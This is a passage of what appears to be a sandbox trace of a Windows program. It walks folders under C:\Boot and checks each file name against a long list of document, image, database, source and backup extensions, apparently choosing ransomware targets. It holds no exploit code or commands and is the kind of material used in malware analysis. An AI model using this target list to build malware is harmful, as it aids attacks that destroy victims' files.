(lpString1=".phtml", lpString2="xe.mui") returned -1 [0094.135] lstrlenW (lpString=".pict") returned 5 [0094.135] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0094.135] lstrlenW (lpString=".pl") returned 3 [0094.136] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0094.136] lstrlenW (lpString=".pls") returned 4 [0094.136] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0094.136] lstrlenW (lpString=".pm") returned 3 [0094.136] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0094.136] lstrlenW (lpString=".png") returned 4 [0094.136] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0094.136] lstrlenW (lpString=".pnm") returned 4 [0094.136] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0094.136] lstrlenW (lpString=".pot") returned 4 [0094.136] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0094.136] lstrlenW (lpString=".potm") returned 5 [0094.136] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0094.136] lstrlenW (lpString=".potx") returned 5 [0094.136] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0094.136] lstrlenW (lpString=".ppa") returned 4 [0094.136] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0094.136] lstrlenW (lpString=".ppam") returned 5 [0094.136] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0094.136] lstrlenW (lpString=".ppm") returned 4 [0094.136] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0094.136] lstrlenW (lpString=".pps") returned 4 [0094.136] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0094.136] lstrlenW (lpString=".ppsm") returned 5 [0094.136] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0094.136] lstrlenW (lpString=".ppt") returned 4 [0094.136] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0094.136] lstrlenW (lpString=".pptm") returned 5 [0094.136] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0094.136] lstrlenW (lpString=".pptx") returned 5 [0094.136] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0094.136] lstrlenW (lpString=".prn") returned 4 [0094.137] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".ps") returned 3 [0094.137] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0094.137] lstrlenW (lpString=".psb") returned 4 [0094.137] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".psd") returned 4 [0094.137] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".pst") returned 4 [0094.137] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".ptx") returned 4 [0094.137] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".pub") returned 4 [0094.137] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".pwm") returned 4 [0094.137] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".pxr") returned 4 [0094.137] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".py") returned 3 [0094.137] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0094.137] lstrlenW (lpString=".qt") returned 3 [0094.137] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0094.137] lstrlenW (lpString=".r3d") returned 4 [0094.137] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".raf") returned 4 [0094.137] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0094.137] lstrlenW (lpString=".rar") returned 4 [0094.137] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0094.137] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0094.138] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0094.138] FindClose (in: hFindFile=0x4260250 | out: hFindFile=0x4260250) returned 1 [0094.138] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.138] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0094.138] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0094.138] lstrlenW (lpString="C:\\Boot\\pl-PL") returned 13 [0094.138] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260510 [0094.138] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.138] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0094.138] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0094.138] lstrlenW (lpString=".1cd") returned 4 [0094.138] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0094.138] lstrlenW (lpString=".3ds") returned 4 [0094.138] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0094.138] lstrlenW (lpString=".3fr") returned 4 [0094.138] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0094.139] lstrlenW (lpString=".3g2") returned 4 [0094.139] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0094.139] lstrlenW (lpString=".3gp") returned 4 [0094.139] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0094.139] lstrlenW (lpString=".7z") returned 3 [0094.139] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0094.139] lstrlenW (lpString=".accda") returned 6 [0094.139] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0094.139] lstrlenW (lpString=".accdb") returned 6 [0094.139] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0094.139] lstrlenW (lpString=".accdc") returned 6 [0094.139] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0094.139] lstrlenW (lpString=".accde") returned 6 [0094.139] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0094.139] lstrlenW (lpString=".accdt") returned 6 [0094.139] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0094.139] lstrlenW (lpString=".accdw") returned 6 [0094.139] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0094.139] lstrlenW (lpString=".adb") returned 4 [0094.139] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0094.139] lstrlenW (lpString=".adp") returned 4 [0094.139] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0094.139] lstrlenW (lpString=".ai") returned 3 [0094.139] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0094.139] lstrlenW (lpString=".ai3") returned 4 [0094.139] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0094.139] lstrlenW (lpString=".ai4") returned 4 [0094.139] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0094.139] lstrlenW (lpString=".ai5") returned 4 [0094.140] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".ai6") returned 4 [0094.140] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".ai7") returned 4 [0094.140] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".ai8") returned 4 [0094.140] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".anim") returned 5 [0094.140] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0094.140] lstrlenW (lpString=".arw") returned 4 [0094.140] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".as") returned 3 [0094.140] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0094.140] lstrlenW (lpString=".asa") returned 4 [0094.140] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".asc") returned 4 [0094.140] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".ascx") returned 5 [0094.140] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0094.140] lstrlenW (lpString=".asm") returned 4 [0094.140] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".asmx") returned 5 [0094.140] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0094.140] lstrlenW (lpString=".asp") returned 4 [0094.140] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".aspx") returned 5 [0094.140] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0094.140] lstrlenW (lpString=".asr") returned 4 [0094.140] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".asx") returned 4 [0094.140] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".avi") returned 4 [0094.140] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0094.140] lstrlenW (lpString=".avs") returned 4 [0094.141] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".backup") returned 7 [0094.141] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0094.141] lstrlenW (lpString=".bak") returned 4 [0094.141] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".bay") returned 4 [0094.141] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".bd") returned 3 [0094.141] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0094.141] lstrlenW (lpString=".bin") returned 4 [0094.141] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".bmp") returned 4 [0094.141] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".bz2") returned 4 [0094.141] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".c") returned 2 [0094.141] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0094.141] lstrlenW (lpString=".cdr") returned 4 [0094.141] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".cer") returned 4 [0094.141] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".cf") returned 3 [0094.141] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0094.141] lstrlenW (lpString=".cfc") returned 4 [0094.141] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".cfm") returned 4 [0094.141] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".cfml") returned 5 [0094.141] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0094.141] lstrlenW (lpString=".cfu") returned 4 [0094.141] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0094.141] lstrlenW (lpString=".chm") returned 4 [0094.142] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".cin") returned 4 [0094.142] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".class") returned 6 [0094.142] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0094.142] lstrlenW (lpString=".clx") returned 4 [0094.142] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".config") returned 7 [0094.142] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0094.142] lstrlenW (lpString=".cpp") returned 4 [0094.142] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".cr2") returned 4 [0094.142] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".crt") returned 4 [0094.142] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".crw") returned 4 [0094.142] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".cs") returned 3 [0094.142] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0094.142] lstrlenW (lpString=".css") returned 4 [0094.142] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".csv") returned 4 [0094.142] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".cub") returned 4 [0094.142] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".dae") returned 4 [0094.142] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".dat") returned 4 [0094.142] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0094.142] lstrlenW (lpString=".db") returned 3 [0094.142] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0094.142] lstrlenW (lpString=".dbf") returned 4 [0094.142] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".dbx") returned 4 [0094.143] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".dc3") returned 4 [0094.143] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".dcm") returned 4 [0094.143] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".dcr") returned 4 [0094.143] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".der") returned 4 [0094.143] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".dib") returned 4 [0094.143] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".dic") returned 4 [0094.143] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".dif") returned 4 [0094.143] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".divx") returned 5 [0094.143] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0094.143] lstrlenW (lpString=".djvu") returned 5 [0094.143] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0094.143] lstrlenW (lpString=".dng") returned 4 [0094.143] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".doc") returned 4 [0094.143] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".docm") returned 5 [0094.143] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0094.143] lstrlenW (lpString=".docx") returned 5 [0094.143] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0094.143] lstrlenW (lpString=".dot") returned 4 [0094.143] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0094.143] lstrlenW (lpString=".dotm") returned 5 [0094.143] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0094.144] lstrlenW (lpString=".dotx") returned 5 [0094.144] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0094.144] lstrlenW (lpString=".dpx") returned 4 [0094.144] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".dqy") returned 4 [0094.144] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".dsn") returned 4 [0094.144] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".dt") returned 3 [0094.144] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0094.144] lstrlenW (lpString=".dtd") returned 4 [0094.144] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".dwg") returned 4 [0094.144] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".dwt") returned 4 [0094.144] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".dx") returned 3 [0094.144] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0094.144] lstrlenW (lpString=".dxf") returned 4 [0094.144] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".edml") returned 5 [0094.144] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0094.144] lstrlenW (lpString=".efd") returned 4 [0094.144] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".elf") returned 4 [0094.144] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".emf") returned 4 [0094.144] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".emz") returned 4 [0094.144] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".epf") returned 4 [0094.144] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0094.144] lstrlenW (lpString=".eps") returned 4 [0094.144] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".epsf") returned 5 [0094.145] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0094.145] lstrlenW (lpString=".epsp") returned 5 [0094.145] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0094.145] lstrlenW (lpString=".erf") returned 4 [0094.145] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".exr") returned 4 [0094.145] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".f4v") returned 4 [0094.145] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".fido") returned 5 [0094.145] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0094.145] lstrlenW (lpString=".flm") returned 4 [0094.145] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".flv") returned 4 [0094.145] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".frm") returned 4 [0094.145] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".fxg") returned 4 [0094.145] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".geo") returned 4 [0094.145] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".gif") returned 4 [0094.145] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".grs") returned 4 [0094.145] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".gz") returned 3 [0094.145] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0094.145] lstrlenW (lpString=".h") returned 2 [0094.145] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0094.145] lstrlenW (lpString=".hdr") returned 4 [0094.145] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0094.145] lstrlenW (lpString=".hpp") returned 4 [0094.146] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".hta") returned 4 [0094.146] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".htc") returned 4 [0094.146] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".htm") returned 4 [0094.146] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".html") returned 5 [0094.146] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0094.146] lstrlenW (lpString=".icb") returned 4 [0094.146] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".ics") returned 4 [0094.146] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".iff") returned 4 [0094.146] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".inc") returned 4 [0094.146] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".indd") returned 5 [0094.146] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0094.146] lstrlenW (lpString=".ini") returned 4 [0094.146] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".iqy") returned 4 [0094.146] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".j2c") returned 4 [0094.146] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".j2k") returned 4 [0094.146] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".java") returned 5 [0094.146] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0094.146] lstrlenW (lpString=".jp2") returned 4 [0094.146] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0094.146] lstrlenW (lpString=".jpc") returned 4 [0094.147] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".jpe") returned 4 [0094.147] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".jpeg") returned 5 [0094.147] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0094.147] lstrlenW (lpString=".jpf") returned 4 [0094.147] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".jpg") returned 4 [0094.147] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".jpx") returned 4 [0094.147] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".js") returned 3 [0094.147] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0094.147] lstrlenW (lpString=".jsf") returned 4 [0094.147] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".json") returned 5 [0094.147] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0094.147] lstrlenW (lpString=".jsp") returned 4 [0094.147] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".kdc") returned 4 [0094.147] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".kmz") returned 4 [0094.147] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".kwm") returned 4 [0094.147] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".lasso") returned 6 [0094.147] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0094.147] lstrlenW (lpString=".lbi") returned 4 [0094.147] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".lgf") returned 4 [0094.147] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0094.147] lstrlenW (lpString=".lgp") returned 4 [0094.147] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".log") returned 4 [0094.148] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".m1v") returned 4 [0094.148] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".m4a") returned 4 [0094.148] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".m4v") returned 4 [0094.148] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".max") returned 4 [0094.148] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".md") returned 3 [0094.148] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0094.148] lstrlenW (lpString=".mda") returned 4 [0094.148] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mdb") returned 4 [0094.148] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mde") returned 4 [0094.148] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mdf") returned 4 [0094.148] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mdw") returned 4 [0094.148] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mef") returned 4 [0094.148] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mft") returned 4 [0094.148] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mfw") returned 4 [0094.148] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mht") returned 4 [0094.148] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0094.148] lstrlenW (lpString=".mhtml") returned 6 [0094.148] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0094.148] lstrlenW (lpString=".mka") returned 4 [0094.149] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0094.149] lstrlenW 